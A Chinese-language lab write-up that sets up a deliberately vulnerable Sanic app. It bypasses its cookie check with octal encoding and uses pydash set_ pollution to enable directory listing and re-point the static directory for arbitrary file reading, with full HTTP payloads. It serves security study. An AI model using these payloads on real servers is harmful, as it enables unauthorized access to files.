前言
无。
环境搭建
新建一个Python项目,先添加依赖:
pip install sanic
pip install sanic_session
pip install pydash==5.1.2
限定了pydash版本,估计原型链污染就发生在这个版本的pydash里面了。
然后新建一个static目录,里面随便写个index.html,然后新建一个index.py把主代码贴进去就行:
# -*- coding:utf8 -*-
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin'):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
登录
原型链污染发生地点为pydash.set_函数调用,前提条件为登录admin用户,admin用户登录条件为登录用户名满足字符串adm;n:
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
尝试直接提交字符串,发现分号;会截断cookie,而且sanic貌似不会主动进行URL解码,所以需要寻找另一种编码方式进行绕过。
找到sanic框架下的cookie处理代码,该代码位于request.py文件中,首先根据分号;切割cookie键值对:
for token in raw.split(";"):
接下来做完cookie名合法性验证后,会对双引号”包裹的cookie值有一个特殊处理:
if len(value) > 2 and value[0] == '"' and value[-1] == '"': # no cov
value = _unquote(value)
其中存在一个特殊的正则匹配:
o_match = OCTAL_PATTERN.search(str, i)
该正则匹配的是八进制数据:
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
后续会对匹配到的字符串进行进制转换:
res.append(str[i:j])
res.append(chr(int(str[j + 1 : j + 4], 8))) # noqa: E203
i = j + 4
因此可以通过双引号”和八进制编码完成登录:
GET /login HTTP/1.0
Host: localhost:8000
Cookie: user="adm\073n"
原型链
观察到Pollute类下存在一个init构造函数,根据参考文章,可以通过访问其属性获得当前的类和方法:
pollute.__init__.__globals__
结果:
观察代码,可以看到app通过static函数设置了静态文件目录,而静态目录下的文件可以被浏览器访问,因此考虑通过污染static配置的方式,将static目录修改为根目录等方式实现任意文件读取。
观察static的可选参数,可以看到存在几个有用的参数:
file_or_directory (Union[PathLike, str]): Path to the static file
or directory with static files.
directory_view (bool, optional): Whether to fallback to showing
the directory viewer when exposing a directory. Defaults
to `False`.
代表了静态文件目录和列目录开关,修改后看起来可以实现列根目录和任意文件读取。
接下来就要尝试对这些参数进行污染,尝试访问static路径如http://localhost:8000/static/,得到报错:
Traceback (most recent call last):
File "handle_request", line 102, in handle_request
if TYPE_CHECKING:
File "D:\Python2.7\sanic\venv\lib\site-packages\sanic\mixins\static.py", line 332, in _static_request_handler
return await directory_handler.handle(request, request.path)
File "D:\Python2.7\sanic\venv\lib\site-packages\sanic\handlers\directory.py", line 70, in handle
raise IsADirectoryError(f"{self.directory.as_posix()} is a directory")
IsADirectoryError: D:/Python2.7/sanic/static is a directory
怀疑关键点可能在static.py中,给主程序中的app.static函数调用下断点,然后找到static.py文件,在StaticHandleMixin类里面找到_register_static注册函数:
_handler = wraps(self._static_request_handler)(
partial(
self._static_request_handler,
file_or_directory=file_or_directory,
use_modified_since=static.use_modified_since,
use_content_range=static.use_content_range,
stream_large_files=static.stream_large_files,
content_type=static.content_type,
directory_handler=static.directory_handler,
)
)
route, _ = self.route( # type: ignore
uri=uri,
methods=["GET", "HEAD"],
name=name,
host=static.host,
strict_slashes=static.strict_slashes,
static=True,
)(_handler)
该函数会将静态目录和列目录开关等配置整合为一个handler,然后注册到route路由中去,找到route函数,此时用于注册路由的name等标识如下:
用于注册路由的name为main.static,继续往下看route函数,可以看到返回的是一个decorator函数,该嵌套函数通过nonlocal标识访问外层函route数的name等变量,再与handler统合为一个FutureRoute对象:
route = FutureRoute(
handler,
uri,
None if websocket else frozenset([x.upper() for x in methods]),
host,
strict_slashes,
stream,
version,
name,
ignore_body,
websocket,
subprotocols,
unquote,
static,
version_prefix,
error_format,
route_context,
)
...
if apply:
self._apply_route(route, overwrite=overwrite)
最后进入到app.py文件的_apply_route函数提交,添加到app下面的router成员中,此时的params即新构造FutureRoute对象里的name和handler等数据的集合:
routes = self.router.add(**params)
再进入到这个add函数,会调用更上一层的add函数:
route = super().add(**params) # type:
最后以name作为索引放置到name_index里:
if name:
self.name_index[name] = route
综上所述,从app出发可以摸索到static相关配置,因此存在通过原型链污染修改static配置的可能性,在编辑器中调试一下试一下就能找到搜索路径:
pollute.__init__.__globals__['app'].router.name_index['__mp_main__.static'].handler.keywords
结果:
污染路径已经找到了,思路也清晰了,可以开始实操原型链污染然后实现文件读取了。
污染
先尝试修改directory_view实现列目录功能:
POST /admin HTTP/1.0
Host: localhost:8000
Cookie: session=8257742079694b2db0958b85ecfab79f; user="adm\073n"
content-type: application/json
Content-Length: 32
{"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view", "value": "True"}
访问http://localhost:8000/static/,这次就成功列目录了:
再修改file_or_directory为其他路径即可实现列目录后文件读取,注意一下类型:
POST /admin HTTP/1.0
Host: localhost:8000
Cookie: session=8257742079694b2db0958b85ecfab79f; user="adm\073n"
content-type: application/json
Content-Length: 166
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["D:/"]}